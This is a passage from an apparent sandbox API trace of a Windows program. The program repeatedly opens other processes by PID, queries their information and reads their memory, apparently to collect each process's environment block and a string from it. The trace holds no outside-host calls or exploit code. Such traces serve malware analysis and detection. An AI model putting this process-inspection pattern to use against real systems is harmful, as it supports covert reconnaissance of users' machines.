_Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.560] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x105c) returned 0xa9c [0346.560] GetLastError () returned 0x0 [0346.560] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0346.560] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x22d018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0346.560] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0346.560] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1e26b0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0346.560] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1e2258, lpBuffer=0x5ec5a0, nSize=0x86, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0346.561] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0346.561] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0346.561] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x22d020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0346.561] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1e1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0346.561] malloc (_Size=0x8e) returned 0xec75c0 [0346.561] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1e22de, lpBuffer=0xec75c0, nSize=0x8c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xec75c0*, lpNumberOfBytesRead=0x0) returned 1 [0346.562] free (_Block=0xec75c0) [0346.562] CloseHandle (hObject=0xa9c) returned 1 [0346.562] _ui64tow_s (in: _Value=0x1068, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4200") returned 0x0 [0346.562] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4200") returned 4 [0346.562] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.563] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.563] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1068) returned 0xa9c [0346.564] GetLastError () returned 0x0 [0346.564] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0346.564] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3ab018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0346.564] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0346.564] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4f2640, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0346.564] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4f2258, lpBuffer=0x5ec5a0, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0346.565] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0346.565] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0346.565] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3ab020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0346.565] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4f1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0346.565] malloc (_Size=0x66) returned 0xeb6690 [0346.565] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4f22b6, lpBuffer=0xeb6690, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6690*, lpNumberOfBytesRead=0x0) returned 1 [0346.566] free (_Block=0xeb6690) [0346.566] CloseHandle (hObject=0xa9c) returned 1 [0346.566] _ui64tow_s (in: _Value=0x1080, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4224") returned 0x0 [0346.566] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4224") returned 4 [0346.567] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.567] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.567] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1080) returned 0xa9c [0346.567] GetLastError () returned 0x0 [0346.568] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0346.568] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x34f018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0346.568] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0346.568] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4e26f0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0346.568] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4e2258, lpBuffer=0x5ec5a0, nSize=0x9a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0346.568] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0346.568] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0346.568] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x34f020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0346.569] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4e1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0346.569] malloc (_Size=0xa2) returned 0xe96290 [0346.569] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4e22f2, lpBuffer=0xe96290, nSize=0xa0, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe96290*, lpNumberOfBytesRead=0x0) returned 1 [0346.569] free (_Block=0xe96290) [0346.570] CloseHandle (hObject=0xa9c) returned 1 [0346.570] _ui64tow_s (in: _Value=0x1088, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4232") returned 0x0 [0346.570] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4232") returned 4 [0346.570] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.570] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.571] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1088) returned 0xa9c [0346.571] GetLastError () returned 0x0 [0346.571] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0346.571] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4b6018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0346.571] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0346.571] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7d2640, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0346.572] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7d2258, lpBuffer=0x5ec5a0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0346.572] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0346.572] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0346.572] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4b6020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0346.572] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7d1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0346.572] malloc (_Size=0x6a) returned 0xea8d20 [0346.572] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7d22ba, lpBuffer=0xea8d20, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8d20*, lpNumberOfBytesRead=0x0) returned 1 [0346.573] free (_Block=0xea8d20) [0346.573] CloseHandle (hObject=0xa9c) returned 1 [0346.573] _ui64tow_s (in: _Value=0x10dc, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4316") returned 0x0 [0346.574] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4316") returned 4 [0346.574] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.574] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.575] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x10dc) returned 0xa9c [0346.575] GetLastError () returned 0x0 [0346.575] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0346.575] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x29c018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0346.575] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0346.575] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x472660, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0346.575] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x472258, lpBuffer=0x5ec5a0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0346.576] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0346.576] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0346.576] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x29c020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0346.576] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x471c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0346.576] malloc (_Size=0x72) returned 0xea8ca0 [0346.576] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4722c2, lpBuffer=0xea8ca0, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8ca0*, lpNumberOfBytesRead=0x0) returned 1 [0346.577] free (_Block=0xea8ca0) [0346.577] CloseHandle (hObject=0xa9c) returned 1 [0346.578] _ui64tow_s (in: _Value=0x10e4, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4324") returned 0x0 [0346.578] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4324") returned 4 [0346.578] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.578] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.579] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x10e4) returned 0xa9c [0346.579] GetLastError () returned 0x0 [0346.579] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0346.579] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3c1018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0346.580] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0346.580] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x482660, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0346.580] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x482258, lpBuffer=0x5ec5a0, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0346.580] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0346.580] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0346.580] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3c1020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0346.580] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x481c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0346.581] malloc (_Size=0x74) returned 0xea96a0 [0346.581] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4822c4, lpBuffer=0xea96a0, nSize=0x72, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea96a0*, lpNumberOfBytesRead=0x0) returned 1 [0346.581] free (_Block=0xea96a0) [0346.582] CloseHandle (hObject=0xa9c) returned 1 [0346.582] _ui64tow_s (in: _Value=0x10ec, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4332") returned 0x0 [0346.582] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4332") returned 4 [0346.582] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.582] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.583] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x10ec) returned 0xa9c [0346.583] GetLastError () returned 0x0 [0346.583] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0346.583] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x332018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0346.583] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0346.583] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x532640, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0346.584] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x532258, lpBuffer=0x5ec5a0, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0346.584] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0346.584] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0346.584] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x332020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0346.584] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x531c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0346.584] malloc (_Size=0x66) returned 0xeb6460 [0346.584] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5322b6, lpBuffer=0xeb6460, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6460*, lpNumberOfBytesRead=0x0) returned 1 [0346.585] free (_Block=0xeb6460) [0346.585] CloseHandle (hObject=0xa9c) returned 1 [0346.585] _ui64tow_s (in: _Value=0x1164, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4452") returned 0x0 [0346.586] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4452") returned 4 [0346.586] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.586] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.587] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1164) returned 0xa9c [0346.587] GetLastError () returned 0x0 [0346.587] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0346.587] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2cb018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0346.587] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0346.587] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x532690, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0346.587] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x532258, lpBuffer=0x5ec5a0, nSize=0x7c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0346.588] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0346.588] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0346.588] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2cb020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0346.588] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x531c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0346.588] malloc (_Size=0x84) returned 0xe87f70 [0346.588] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5322d4, lpBuffer=0xe87f70, nSize=0x82, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe87f70*, lpNumberOfBytesRead=0x0) returned 1 [0346.589] free (_Block=0xe87f70) [0346.589] CloseHandle (hObject=0xa9c) returned 1 [0346.618] _ui64tow_s (in: _Value=0x116c, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4460") returned 0x0 [0346.618] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4460") returned 4 [0346.618] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.618] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, 